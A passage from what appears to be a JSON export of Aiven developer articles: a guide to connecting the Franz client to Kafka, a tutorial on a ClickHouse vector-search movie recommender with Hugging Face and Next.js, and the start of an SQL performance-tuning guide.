app.","tags":[{"_key":"e9bad9a172cb","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"c28a2e754809","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"9ec5b9c1b5f7","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Lightweight and blazing-fast Java app using Quarkus and Aiven for Caching"} {"__i18n_lang":"en","_createdAt":"2024-01-10T12:16:33Z","_id":"2c038d93-9c3c-472b-a79c-5a64615156f8","_rev":"zYSUUPkF4TH1RAKzpzesRt","_type":"devArticle","_updatedAt":"2024-03-18T12:17:04Z","body":"[Franz](https://franz.defn.io) is a native Mac and Windows desktop client for Apache Kafka.\n\n\n## Connect using client certificate authentication (CCA)\n\n1. Visit the **Service Overview** page for your Aiven for Apache Kafka® service.\n2. Download the **Access Key**, **Access Certificate** and **CA Certificate**.\n3. Rename the **Access Key** from ``service.key`` to ``service.key.pem``:\n\n```\nmv service.key service.key.pem\n```\n\n4. Combine the **Acess Certificate** and **CA Certificate** files into one:\n\n```\ncat service.cert ca.pem \u003e combined.pem\n```\n\n3. In Franz, choose **New Connection...** and\n\n * enter your cluster **Host** and **Port** under the **Bootstrap\n Host** and **Port** fields,\n * tick the **Enable SSL** checkbox,\n * click the **SSL Key...** button and select the ``service.key.pem`` file,\n * click the **SSL Cert...** button and select the ``combined.pem`` file.\n\n![Screenshot of the Franz connection configuration window](https://cdn.sanity.io/images/sczeoy4w/production/84d8972985df4510039730cc40f57f8be1e1fa66-1710x934.png)\n\n4. Finally, click **Connect** to connect to your cluster.\n\nOnce connected, you can read the [Franz Manual](https://franz.defn.io/manual/) to learn more about using this tool.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-01-17T12:11:02.937Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"d9045bbf4012","_ref":"36bb61b8-a6d5-45b4-ae46-6b9e8aab64a6","_type":"tag"},{"_key":"2d01da009988","_ref":"8fe00684-fc9b-413d-9f61-98889297feec","_type":"tag"}],"publishedAt":"2023-08-01T11:16:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Connect to Apache Kafka® with Franz\" in white text on a dark blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-199207758c6aac66419de70ce85f772bada810a9-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/connect-to-apache-kafka-with-franz"},"subtitle":"Franz is a desktop client for managing Apache Kafka® deployments. Learn how to connect to an Aiven for Apache Kafka® service using Franz","tags":[{"_key":"418531d7b68a","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"5bf217799e21","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Connect to Apache Kafka® with Franz"} {"__i18n_lang":"en","_createdAt":"2023-09-15T11:38:49Z","_id":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_rev":"EXzA9uxcM5girV4aqRyAim","_type":"devArticle","_updatedAt":"2024-10-28T16:02:13Z","body":"Vector search is an incredibly useful technique when you need to rely on the meaning and context of unstructured text to find something specific, for example, when building recommendation systems. In this article we'll build a recommendation engine to find a movie to watch. We'll build a project that uses vector search to find the perfect movie based on user input.\n\n\u003c!--\n::banner[Curious to learn more about vector search? ]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/workshop/movie-recommender-with-tensorflow-pgvector\" title=\"Free online workshop: Build a movie recommendation app with Tensorflow and pgvector\" background=\"\" theme=\"light\"}\n--\u003e\n\nWe'll use [ClickHouse®](https://aiven.io/clickhouse), a fast open-source column-oriented database, which already supports built-in vector comparison capabilities. To visualize our results, we'll rely on [Next.js](https://nextjs.org/) and to we'll get vector embeddings using some free tools and a [HuggingFace](https://huggingface.co/) model.\n\nBy the end, you'll not only understand how to use vector search with ClickHouse but also how to seamlessly integrate it all within the Next.js framework.\n\nBefore we dive in, a moderate understanding of JavaScript, along with a familiarity with Node.js and npm, will come in handy. There will be no need to run the model locally; I'll share all the necessary data with you. Wowever, if you wish to do so, you'll find some useful Python scripts to have fun and get your hands dirty.\n\nIf you're impatient and want to see the end result, you can find the complete code in [this GitHub repository](https://github.com/Aiven-Labs/find-your-movie-clickhouse-vectorsearch).\n\n![What to expect at the end - a small demo searching in the movies for a lot of cute puppies](https://cdn.sanity.io/images/sczeoy4w/production/c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481.gif)\n\n## Step 1: Get the dataset\n\nFirst things first – we need a dataset. One excellent option is the movie dataset available on Kaggle. You can download it [directly from Kaggle](https://www.kaggle.com/datasets/jrobischon/wikipedia-movie-plots). This dataset provides an assortment of movies together with their plots, creation years, and other details that we can use for our recommendation engine. In particular, the field `plot` contains all the details what the movie is about and we can use it when creating vector embeddings for each of the movies.\n\n## Step 2: Generate vector embeddings for each of the movies\n\nFor vector search to work its magic, we'll naturally need some vectors! We actually need two sets of vector embeddings. First, each movie plot within our collection needs a corresponding embedding. Our movie dataset has almost 35000 items and we need to process each of them individually.\nSecondly, the search phrase entered by a user should also be converted into an embedding to allow us to do the comparison with each of existing movie plots and find what results scores the best.\n\nWhile ClickHouse is excellent at comparing vectors, generating these vectors happens outside of the database and requires a sentence transformer that already uses a trained model.\n\nThere are various approaches for obtaining these embeddings. One option is to use a free API provided by Hugging Face. For small amounts of data, this API is perfect. However, for more substantial datasets (and ours isn't very small), it might be not the most efficient solution. My experience showed that Hugging Face API has a tendency to randomly return errors, and the rate limit for the Inference API is sadly not public. To avoid frustration we'll use the API only to generate embeddings for the search phrase.\n\nFor the dataset itself running the model locally makes it significantly faster to append vector embedding to each of the movies. The technical details of embedding creation are beyond the scope of this guide, but you can find the script I used (and plenty of comments there) [in extra\n/embeddings-generator.py](https://github.com/Aiven-Labs/find-your-movie-clickhouse-vectorsearch/blob/main/extra/embeddings-generator.py) . However, I'd recommend you just download [the JSON file containing complete dataset](https://drive.google.com/file/d/11I8IqMeiOPFHkcGqk1n3I_MkXU4w3YCI/view?usp=sharing) including vector embeddings. The sentence transformer that I used is called *all-mpnet-base-v2*, and it mapped each of the movie plots to a *768-dimensional* dense vector space.\n\nNow that we have dataset with the embeddings, we're ready to load the data into the database.\n\n## Step 3: Load data into ClickHouse\n\nI opted to use [Aiven for ClickHouse®](https://aiven.io/clickhouse) which comes with a free trial, you can [register Aiven account here](https://go.aiven.io/olena-signup). For this experiment the smallest plan will be sufficient.\n\nOnce your ClickHouse server is up and running, we'll use the ClickHouse Client for database operations. Docker containers make it easier especially if you're using anything but Linux. You will need to pull [ClickHouse Server Docker Image](https://hub.docker.com/r/clickhouse/clickhouse-server/) it includes the client that we'll need to run SQL commands (more detailed instructions can be found [in our documentation](https://aiven.io/docs/products/clickhouse/get-started).\n\nConnection details to your ClickHouse server can be found on the server's page, in particular we're interested in the tab **ClickHouse Native**:\n\n![Where to find ClickHouse connection properties](https://cdn.sanity.io/images/sczeoy4w/production/ff07f8632f02d730619db62085d6289462477d67-3294x1628.png)\n\nTo connect to the ClickHouse client, replace the placeholders with the information from your ClickHouse server in the command below and run it:\n\n```bash\ndocker run -it --rm clickhouse/clickhouse-server clickhouse-client --user CLICKHOUSE_NAME --password CLICKHOUSE_PASSWORD --host CLICKHOUSE_HOST --port CLICKHOUSE_PORT --secure\n```\n\nThis will bring you inside the client. Now you can create a table for the movies:\n\n```sql\nCREATE TABLE movie_plots (\n title String,\n director String,\n cast String,\n genre String,\n plot String,\n year Int16,\n wiki String,\n embedding Array(Float32)\n) \nENGINE = MergeTree()\nORDER BY title;\n```\n\nTo load data from your local file into the ClickHouse server, open a separate tab (so you step away from the client for this), navigate to the folder where the dataset is located and run:\n\n```bash\ncat movie_plots_with_embeddings.json | docker run \\\n--interactive \\\n--rm clickhouse/clickhouse-server clickhouse-client \\\n--user CLICKHOUSE_NAME \\\n--password CLICKHOUSE_PASSWORD \\\n--host CLICKHOUSE_HOST \\\n--port CLICKHOUSE_PORT \\\n--secure \\\n--max_insert_block_size=100000 \\\n--query=\"INSERT INTO movie_plots FORMAT JSONEachRow\"\n```\n\nData loading will take a moment, and once completed, you can test by running a select query from the client:\n\n```sql\nSELECT count() FROM movie_plots;\n```\n\nThis should show you 34886, the number of movie plots we have in the dataset.\n\n## Step 4: Transform the search phrase into vectors\n\nIn this and next sections we'll dissect the process of retrieving an embedding and making a ClickHouse request to find the distance from the search phrase to the nearest similarity. For this we'll do some manual work to request, copy and use an embedding with ClickHouse. If you want, you can choose to skip to the section 6, to proceed directly creating the proper interface with Next.js (and avoid copy-pasting an array consisting of 768 float values!)\n\nWhen searching for movies, a user of our app inputs a search phrase like \"a girl who wanted to be a magician\". To compare this phrase with movie plots and find the best match, the search phrase too must be converted into a vector. For this we'll use Hugging Face API and a piece of NodeJS code.\n\nWhile Hugging Face API is free, you'll still need an authentication token. Sign up [at Hugging Face](https://huggingface.co/) and create your token in the settings - access tokens.\n\nAnd now you can use it in the code. The basic Node.JS code we'll look like this:\n\n```js\n// The sentence transformer we'll use (the same one used for movie plots)\nconst api_url = \"https://api-inference.huggingface.co/pipeline/feature-extraction/sentence-transformers/all-mpnet-base-v2\";\n// Authentication token for Hugging Face (best to keep it in environment variables)\nconst headers = {\n Authorization: `Bearer YOUR_HUGGING_FACE_TOKEN`,\n};\n\n// Fetch request to the Hugging Face API\nmodule.exports.getEmbedding = async function(text) {\n const options = {\n method: \"POST\",\n headers,\n body: JSON.stringify({ inputs: text, options: { wait_for_model: true } }),\n };\n\n try {\n const response = await fetch(api_url, options);\n return await response.json();\n } catch (error) {\n throw new Error(`Request to get embedding ${text} failed: ${error}`);\n }\n};\n```\n\nAssuming you save this code in a file named `embeddings.js`, you can test it by running the following in a terminal:\n\n```bash\nnode -e \"const module = require('./embeddings'); module.getEmbedding('a lot of cute puppies').then(result =\u003e console.log(result)).catch(error =\u003e console.error(error));\" \n```\nThis makes a request to HuggingFace API and return a set of vectors representing the text phrase.\n\n![Screenshot showing example response with vectors](https://cdn.sanity.io/images/sczeoy4w/production/2087dc87f19d252e6b6455dca8875d7c5ed969f9-2858x1724.png)\n\nThis obviously not the way we run things in production, but for now we just want to get an example of the vector embedding, so that we can run a simple test with ClickHouse. To prevent Node.js from shortening the response, you can apply `JSON.stringify` and then copy the complete array. We'll need this for the next step!\n\n```bash\nnode -e \"const module = require('./embeddings'); module.getEmbedding('a lot of cute puppies').then(result =\u003e console.log(JSON.stringify(result))).catch(error =\u003e console.error(error));\" \n```\n\n## Step 5: Testing vector search with ClickHouse\nNow comes the exciting part – utilizing these vectors to find the most relevant movie plots to a given search phrase. ClickHouse has a variety of functions to calculate distances, the most useful for us is `L2Distance`, a function that calculates the distance between two points in Euclidean space. What we need to do is to go through all the movie plots and compare how far each of them is from our search phrase. ClickHouse will calculate the distance and sort the movies by the distance and return top results with the minimal value for the distance.\n\n```sql\nSELECT\n\ttitle, plot, year, director,\n\tL2Distance(embedding, [ADD SEARCH PHRASE EMBEDDINGS HERE]) AS score\nFROM movie_plots\nORDER BY score ASC\nLIMIT 10;\n```\n\nThis query returns a list of the ten movie plots most closely related to the search phrase.\n\n![Screenshot of the result returned by ClickHouse](https://cdn.sanity.io/images/sczeoy4w/production/6a1f6e6c938520ed30872d02049cf87c9a3630ab-3320x1190.png)\n\nWhile this is certainly functional, manually copying and pasting embeddings into the ClickHouse client is undoubtedly cumbersome. In the upcoming section, we'll introduce a more convenient solution.\n\n## Step 6: Creating a friendly interface with Next.js\n\nJavaScript is exceptionally widespread when building websites, and with Next.js, we can seamlessly combine frontend layout and backend functionality.\n\n### Step 6.1: Generating the boilerplate\n\nTo kickstart a simple Next.js project, run the following command:\n\n```bash\nnpx create-next-app@latest\n```\n\nI chose the following settings: \n\n![Screenshot with the settings when creating a new Next.Js app](https://cdn.sanity.io/images/sczeoy4w/production/c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4-2898x1672.png)\n\nYou can start the server by running:\n\n\n```bash\nnpm run dev\n```\nUpon opening `http://localhost:3000`, you'll see the loading page. However, we'll begin with the backend first (don't worry, we'll switch to frontend soon!).\n\nThere is already included an example API service called `hello`, it is accessible via `http://localhost:3000/api/hello`. The code for it can be found in *pages/api/hello.ts*. We'll be adding our own backend API calls in a similar manner.\n\n### Step 6.2: Initialize the backend\n\nIn the folder `/pages/api/` add a file named `recommendations.ts`. This is where we'll house all our backend logic. Start with this initial content:\n\n```js\nexport default async function handler(req, res) {\n res.status(200).json(\"Here we'll return the recommendations.\");\n}\n```\n\nYou can test the result of this call by opening `http://localhost:3000/api/recommendations`. \n\n![Screenshot of still mostly empty backend call](https://cdn.sanity.io/images/sczeoy4w/production/792c01fb581c8a5f24c9f7363a6a74783a769d94-2250x210.png)\n\nNow we can start adding the logic to send requests to the Hugging Face API to retrieve embeddings and then communicate with ClickHouse to fetch recommendations.\n\nIn preparation to the next step, let's collect the credential and connection information for API services in the same place. You can use [dotenv](https://github.com/motdotla/dotenv) for easy access to process environments. Install it with:\n```bash\nnpm install dotenv --save\n```\nThen create a `.env` file in your project and add information on all we need to access Hugging Face API and Aiven for ClickHouse service. \n\n```js\nHUGGING_FACE_TOKEN=\nCLICKHOUSE_HOST=\nCLICKHOUSE_USERNAME=\nCLICKHOUSE_PASSWORD=\n```\n\n### Step 6.3: Getting embeddings for a search phrase using free Hugging Face API\n\nGetting embeddings for a search phrase from Hugging Face follows a similar approach to using an individual Node.js file, but with a few tweaks to accommodate Next.js. The default `handler` function serves as our interface, and we use `getEmbedding` to encode the input value:\n\n```js\nconst api_url = \"https://api-inference.huggingface.co/pipeline/feature-extraction/sentence-transformers/all-mpnet-base-v2\";\nconst headers = {\n Authorization: `Bearer ${process.env.HUGGING_FACE_TOKEN}`,\n};\n\nasync function getEmbedding(text) {\n const options = {\n method: \"POST\",\n headers,\n body: JSON.stringify({ inputs: text, options: { wait_for_model: true } }),\n };\n\n try {\n const response = await fetch(api_url, options);\n return await response.json();\n } catch (error) {\n throw new Error(`Request failed: ${error}`);\n }\n}\n\nexport default async function handler(req, res) {\n const searchPhraseEmbedding = await getEmbedding(req.body.search);\n res.status(200).json(`For now, we'll output the embeddings only: ${searchPhraseEmbedding}`);\n}\n```\n\nIf this works, you should see a lengthy list of vectors. If not, double-check the error and ensure you're using a valid Hugging Face API token and do not surround it in quotes when adding to `.env` file. \n\n![Testing http://localhost:3000/api/recommendations to return the embedding](https://cdn.sanity.io/images/sczeoy4w/production/59b4eb202d177f1ab8c9b7ed58398483fa81d0a9-2774x914.png)\n\n### Step 6.4: Adding ClickHouse functionality with ClickHouse JavaScript client\n\nClickHouse offers the [ClickHouse JavaScript client](https://clickhouse.com/docs/en/integrations/language-clients/javascript) to send requests to the server. To install it, run:\n```bash\nnpm i @clickhouse/client\n```\n\nNow, in our `recommendations.ts` file, include the following lines to establish a connection with the cluster:\n\n```js\nimport { createClient } from '@clickhouse/client'\n\nconst client = createClient({\n host: process.env.CLICKHOUSE_HOST,\n username: process.env.CLICKHOUSE_USER,\n password: process.env.CLICKHOUSE_PASSWORD,\n})\n```\n\nLet's modify our handler to test whether the connection with ClickHouse is functioning:\n\n```js\nexport default async function handler(req, res) {\n const searchPhraseEmbedding = await getEmbedding(req.body.search);\n const query = await client.query({\n query: \"SELECT title, plot, year, directors, wiki, FROM movie_plots LIMIT 10\"\n });\n const response = await query.json();\n res.status(200).json(response.data);\n}\n```\n\nThis should retrieve the first 10 items from our movie dataset. \n\n![Testing that we have a connection to ClickHouse server by retriving first 10 items from the table](https://cdn.sanity.io/images/sczeoy4w/production/58a85c6bc66249ec59351a6bb2d4758d343d5cb4-2768x900.png)\n\nWe're nearly there! Let's combine the Hugging Face API call and the ClickHouse call to retrieve the list of recommendations based on the search phrase embedding.\n\n### Step 6.4: Testing complete backend flow\n\nSince we don't have a real frontend yet to collect user input, you can use any string for testing:\n```js\nexport default async function handler(req, res) {\n const searchPhraseEmbedding = await getEmbedding(\"a lot of cute puppies\");\n\n const query = await client.query({\n query: `SELECT title, plot, year, director, wiki, L2Distance(embedding, [` + searchPhraseEmbedding.toString() + `]) AS score FROM movie_plots ORDER BY score ASC LIMIT 10`\n });\n const response = await query.json();\n res.status(200).json(response.data);\n}\n```\n\nThis should return the 10 best suggestions based on your search phrase. \n\n![Testing the complete backend setup](https://cdn.sanity.io/images/sczeoy4w/production/6e566df9891d8362420fcd63bf51e734d13f4dd7-2768x892.png)\n\n### Step 6.5: Adding the frontend\n\nIn this section, we'll modify the landing page, `index.tsx`.\n\nWe'll need two elements: a search input for user input and a list to display results.\n\nWith these basics in place and a basic UI, it looks like this:\n\n```js\nimport { useRef, useState } from 'react';\n\nexport default function Home() {\n const [plots, setPlots] = useState([]);\n const searchInput = useRef();\n\n function search(event) {\n event.preventDefault();\n const enteredSearch = searchInput.current.value;\n fetch('/api/recommendations', {\n method: 'POST',\n body: JSON.stringify({\n search: enteredSearch\n }),\n headers: {\n 'Content-Type': 'application/json'\n }\n })\n .then(response =\u003e response.json())\n .then(data =\u003e setPlots(data));\n }\n\n return (\n \u003c\u003e\n \u003cdiv\u003e\n \u003cform onSubmit={search}\u003e\n \u003clabel htmlFor=\"default-search\"\u003eSearch\u003c/label\u003e\n \u003cinput\n type=\"search\"\n id=\"default-search\"\n ref={searchInput}\n required\n /\u003e\n \u003cbutton type=\"submit\"\u003eSearch\u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n {plots.map(item =\u003e (\n \u003c\u003e\n \u003cdiv\u003e\n Director: {item.director} Year: {item.year} Wiki: {item.wiki}\n \u003c/div\u003e\n \u003ch1\u003e{item.title}\u003c/h1\u003e\n \u003cp\u003e{item.plot}\u003c/p\u003e\n \u003c/\u003e\n ))}\n \u003c/div\u003e\n \u003c/\u003e\n );\n}\n```\n\nSince Next.js is built on React, we're using `useState` and `useRef`. Note that we use the `form onSubmit` method to trigger the search request.\n\n![First version of our frontend](https://cdn.sanity.io/images/sczeoy4w/production/2445f589da59f8f9c4d660143ef73c1fedeaa73e-3060x880.png)\n\n### Step 6.6: Adding some styling\n\nI'll confess – I'm not a designer. My best work tends to terrify most designers I know. So, feel free to change the layout, colors, and other visual aspects to your liking. To enhance the list of colors and fonts, add the following to `global.css`:\n\n```css\n@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@100\u0026display=swap');\n```\n\nAdjust the colors in the theme by modifying `tailwind.config.js`:\n\n```js\nconst colors = require('tailwindcss/colors')\n\nmodule.exports = {\n content: [\n './pages/**/*.{js,ts,jsx,tsx,mdx}',\n './components/**/*.{js,ts,jsx,tsx,mdx}',\n './app/**/*.{js,ts,jsx,tsx,mdx}',\n ],\n theme: {\n extend: {\n colors: {\n veryDarkBlue: '#1B262C',\n darkBlue: '#0F4C75',\n lightBlue: '#3282B8',\n veryLightBlue: '#BBE1FA',\n },\n fontFamily: {\n sans: ['Poppins', 'sans-serif']\n },\n },\n },\n plugins: [],\n}\n```\n\nI've also added extra layout to the search input section:\n\n```js\n\u003csection id=\"shorten\" \u003e\n \u003cdiv className=\"max-w-4xl mx-auto p-6 space-y-6\"\u003e\n \u003cform onSubmit={search}\u003e\n \u003clabel htmlFor=\"default-search\" className=\"mb-2 text-sm font-medium sr-only text-white\"\u003e\n Search\n \u003c/label\u003e\n \u003cdiv className=\"relative\"\u003e\n \u003cdiv className=\"absolute inset-y-0 left-0 flex items-center pl-3 pointer-events-none\"\u003e\n \u003csvg className=\"w-4 h-4 text-gray-400\" aria-hidden=\"true\"\n xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 20 20\"\u003e\n \u003cpath stroke=\"currentColor\" strokeLinecap=\"round\" strokeLinejoin=\"round\"\n strokeWidth=\"2\" d=\"m19 19-4-4m0-7A7 7 0 1 1 1 8a7 7 0 0 1 14 0Z\"/\u003e\n \u003c/svg\u003e\n \u003c/div\u003e\n \u003cinput\n type=\"search\"\n id=\"default-search\"\n ref={searchInput}\n className=\"block w-full p-4 pl-10 text-sm border rounded-lg bg-gray-700 border-gray-600 placeholder-gray-400 text-white focus:ring-blue-500 focus:border-blue-500\"\n placeholder=\"Type what the movie should be about\"\n required\n /\u003e\n \u003cbutton\n type=\"submit\"\n className=\"text-white absolute right-2.5 bottom-2.5 focus:ring-4 focus:outline-none font-medium rounded-lg text-sm px-4 py-2 bg-lightBlue hover:bg-darkBlue focus:ring-blue-800\"\n \u003e\n Search\n \u003c/button\u003e\n \u003c/div\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n\u003c/section\u003e\n```\n\nI've added extra styles to the list of items as well:\n\n```js\n\u003cdiv className=\"flex gap-8 flex-wrap flex-col grow shrink items-start mx-24\"\u003e\n {plots.map(item =\u003e (\n \u003cdiv className=\"relative p-10 rounded-xl binline-block justify-start rounded-lg shadow-[0_2px_15px_-3px_rgba(0,0,0,0.07),0_10px_20px_-2px_rgba(0,0,0,0.04)] bg-darkBlue items-start\"\u003e\n \u003cdiv className=\"text-6xl absolute top-4 right-4 opacity-80\"\u003e🍿\u003c/div\u003e\n \u003cdiv\u003e\n \u003ch4 className=\"opacity-90 text-xl\"\u003eFrom {item.director}\u003c/h4\u003e\n \u003cp className=\"opacity-50 text-sm\"\u003eYear {item.year}\u003c/p\u003e\n \u003c/div\u003e\n \u003ch1 className=\"text-4xl mt-6\"\u003e{item.title}\u003c/h1\u003e\n \u003cp className=\"relative mt-6 text opacity-80 italic\"\u003e\n {item.plot}\n \u003c/p\u003e\n \u003cdiv\u003e\n \u003cp className=\"opacity-50 text-sm mt-6\"\u003e\n \u003ca\n href={item.wiki}\n className=\"underline decoration-transparent transition duration-300 ease-in-out hover:decoration-inherit\"\n \u003e\n {item.wiki}\n \u003c/a\u003e\n \u003c/p\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n ))}\n\u003c/div\u003e\n```\n\nAnd that's it! You can also check out the final project in [this GitHub repository](https://github.com/Aiven-Labs/find-your-movie-clickhouse-vectorsearch).\n\n![What to expect at the end - a small demo searching in the movies for a lot of cute puppies](https://cdn.sanity.io/images/sczeoy4w/production/c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481.gif)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-22T11:38:46.698Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"b0c2a1f760ca","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"},{"_key":"3d3ac8cbe187","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-10-12T10:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js\" on a blue background with abstract shapes on the right and Aiven's logo in the bottom left.","asset":{"_ref":"image-b8f71ddd6352731859409127d4e23b4b7cd00a1b-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/movie-recommender-clickhouse-huggingface-nextjs"},"subtitle":"Get an introduction to machine learning using Aiven services and the Hugging Face API to recommend movies based on Wikipedia synopses.","tags":[{"_key":"e490036b20cd","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"befe45b5986c","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"af3f9940600a","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"abe3a753d88d","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js"} {"__i18n_lang":"en","_createdAt":"2024-02-15T15:16:10Z","_id":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_rev":"Gc7Qq2PHZBylrD6rwQK6vD","_type":"devArticle","_updatedAt":"2024-08-05T11:56:27Z","body":"\nOk you got a database, how do you optimize SQL performances? To answer this question you need a lot of time and effort in order to understand workloads and performance patterns, evaluate degradation and apply corrective measures. However there are standard practices that you can implement to improve performances. This SQL optimization guide will showcase some best practices that apply across almost every database and can be a good starting point to optimize your database workloads.\n\n::alert[For a better understanding of your performance patterns and optimization opportunities, you can always rely on [Aiven AI Database Optimizer](https://aiven.io/solutions/aiven-ai-database-optimizer). With Aiven AI database optimizer you can monitor your PostgreSQL® and MySQL database, receive performance insights and retrieve index and SQL rewrite suggestions that can speed up your performance.]\n\n::alert[To boost your query performance check [Aiven AI SQL Optimizer](https://aiven.io/tools/sql-query-optimizer). Upload your query to receive index and SQL rewrite suggestions.]\n\n## How to optimize SELECT SQL queries \n\n\n### Optimize SELECT SQL queries by understanding the query execution plan\n\n**How**\n\nAll modern databases, like MySQL and PostgreSQL®, define an optimal query execution plan based on the cardinality of the various tables involved and the auxiliary data structures available like indexes or partitions. Both [MySQL](https://dev.mysql.com/doc/refman/8.0/en/using-explain.html) and [PostgreSQL](https://www.postgresql.org/docs/current/sql-explain.html) provide a command called `EXPLAIN` to show the execution plan of a statement. From the execution plan, you can understand how tables are joined, if an index is used, if a partition is pruned and many other aspects of the query execution that could alter the performance. The query plan gives hints about the cost of each operation and can flag if an index is not being used. \n\nTo get the execution plan of a query, prefix the query with `EXPLAIN` like the following:\n\n```sql\nEXPLAIN SELECT id\nFROM orders\nWHERE\norder_timestamp between '2024-02-01 00:00:00' and '2024-02-03 00:00:00' \nOR status = 'NEW';\n```\n\nThe database returns the plan showcasing, in this example, the usage of two indexes `idx_order_date` and `idx_order_status` and a `BitmapOr` between the two results.\n\n```\n QUERY PLAN\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n Bitmap Heap Scan on orders (cost=687.35..7149.18 rows=60333 width=4)\n Recheck Cond: (((order_timestamp \u003e= '2024-02-01 00:00:00'::timestamp without time zone) AND (order_timestamp \u003c= '2024-02-03 00:00:00'::timestamp without time zone)) OR (status = 'NEW'::text))\n -\u003e BitmapOr (cost=687.35..687.35 rows=60333 width=0)\n -\u003e Bitmap Index Scan on idx_order_date (cost=0.00..655.75 rows=60333 width=0)\n Index Cond: ((order_timestamp \u003e= '2024-02-01 00:00:00'::timestamp without time zone) AND (order_timestamp \u003c= '2024-02-03 00:00:00'::timestamp without time zone))\n -\u003e Bitmap Index Scan on idx_order_status (cost=0.00..1.43 rows=1 width=0)\n Index Cond: (status = 'NEW'::text)\n(7 rows)\n```\n\n\n**Warning**\n\nThe database optimizer will generate an execution plan based on the cardinality estimates. The closer these estimates are to the data in the table, the better the database will be able to define the optimal plan. A plan can also change over time, therefore, when performance of a query suddenly degrades, a change in the plan could be a possible cause. The plan will also depend on the table and additional supporting structures like indexes being created in the database, in the following section we'll analyze how additional structures can impact the performance.\n\n**Golden rule**\n\nSpend time understanding the query execution plan to find potential performance bottlenecks. Update the statistics, automatically or manually using the `ANALYZE` command, to provide the database up-to-date information about the various tables load.\n\n\n### Optimize SELECT SQL queries by using indexes\n\n**How**\n\nSeveral of the options defined above suggested the usage of indexes, but how should you use them? Indexes are a key performance booster when performing filtering, joining and ordering. Therefore it’s crucial to understand the query patterns and create proper indexes that cover the correct clauses. Both [PostgreSQL](https://www.postgresql.org/docs/current/indexes.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html) offer a variety of index types, each one having peculiar characteristics and being well suited for some use-cases.\n\n\n![Database index at work](https://cdn.sanity.io/images/sczeoy4w/production/989c5c8c705d87953f3d058771589207f9048c5d-2800x2240.png)\n\n\n**Warning**\n\nAs mentioned in the DELETE and INSERT sections, any index added on a table slows down write operations. Moreover, indexes occupy space on disk and require maintenance. Therefore think carefully about which workloads you want to optimize and what is the set of indexes that could give you the best results.\n\n**Golden rule**\n\nUnlike database tables, indexes can be dropped and recreated without losing data. Therefore it’s important to periodically evaluate the set of indexes and their status. To check indexes usage, you can rely on the database system tables, like [PostgreSQL pg_stat_user_indexes](https://www.postgresql.org/docs/current/monitoring-stats.html) or the [MySQL table_io_waits_summary_by_index_usage](https://dev.mysql.com/doc/mysql-perfschema-excerpt/8.3/en/performance-schema-table-io-waits-summary-by-index-usage-table.html), providing up-to-date statistics about queries impacting the indexes. Once you identify used and unused indexes, evaluate the need of restructuring them in cases of workload change.\n\n**Pro tip**\n\nIndexes can be used on single columns, multiple columns or even functions. If you’re looking to filter data using, for example, an `upper(name)` function, you can index the output of the function for better performance. \n\n[Aiven AI Database Optimizer](https://aiven.io/solutions/aiven-ai-database-optimizer) can provide you index recommendations based on your database workloads.\n\n\n### Optimize SELECT SQL queries by improving joins\n\nJoins are frequently used in relational databases to select data coming from disparate tables. Understanding what join types are available and what they imply is crucial to achieve optimal performances. The following set of suggestions will help you identify the correct one.\n\n\n#### Optimize SELECT SQL queries by selecting inner joins\n\n**How**\n\nBoth MySQL and PostgreSQL offer a variety of join types allowing you to precisely define the set of rows to retrieve from both sides of the join. All of them are useful for one or another reason but not all of them have the same performance. The `INNER JOIN` retrieving only the rows contained on both sides of the dataset usually has optimal performance. The `LEFT`, `RIGHT`, and `OUTER` joins on the other side, need to perform some additional work compared to the `INNER JOIN` therefore should be used only if really necessary.\n\n![Type of Joins in relational databases](https://cdn.sanity.io/images/sczeoy4w/production/30e57c84b8b697348f740063bc132b071d136c96-3200x2040.png)\n\n\n**Warning**\n\nDouble check your queries, sometimes a query like the following seems legit:\n\n```sql\nSELECT * \nFROM ORDERS LEFT JOIN USERS ON ORDERS.NAME = USERS.NAME\nWHERE USERS.NAME IS NOT NULL \n```\n\nThe above is using a `LEFT JOIN` to retrieve all the rows from `ORDERS`, but then is filtering for rows having `USERS.NAME IS NOT NULL`. Therefore is equivalent to an `INNER 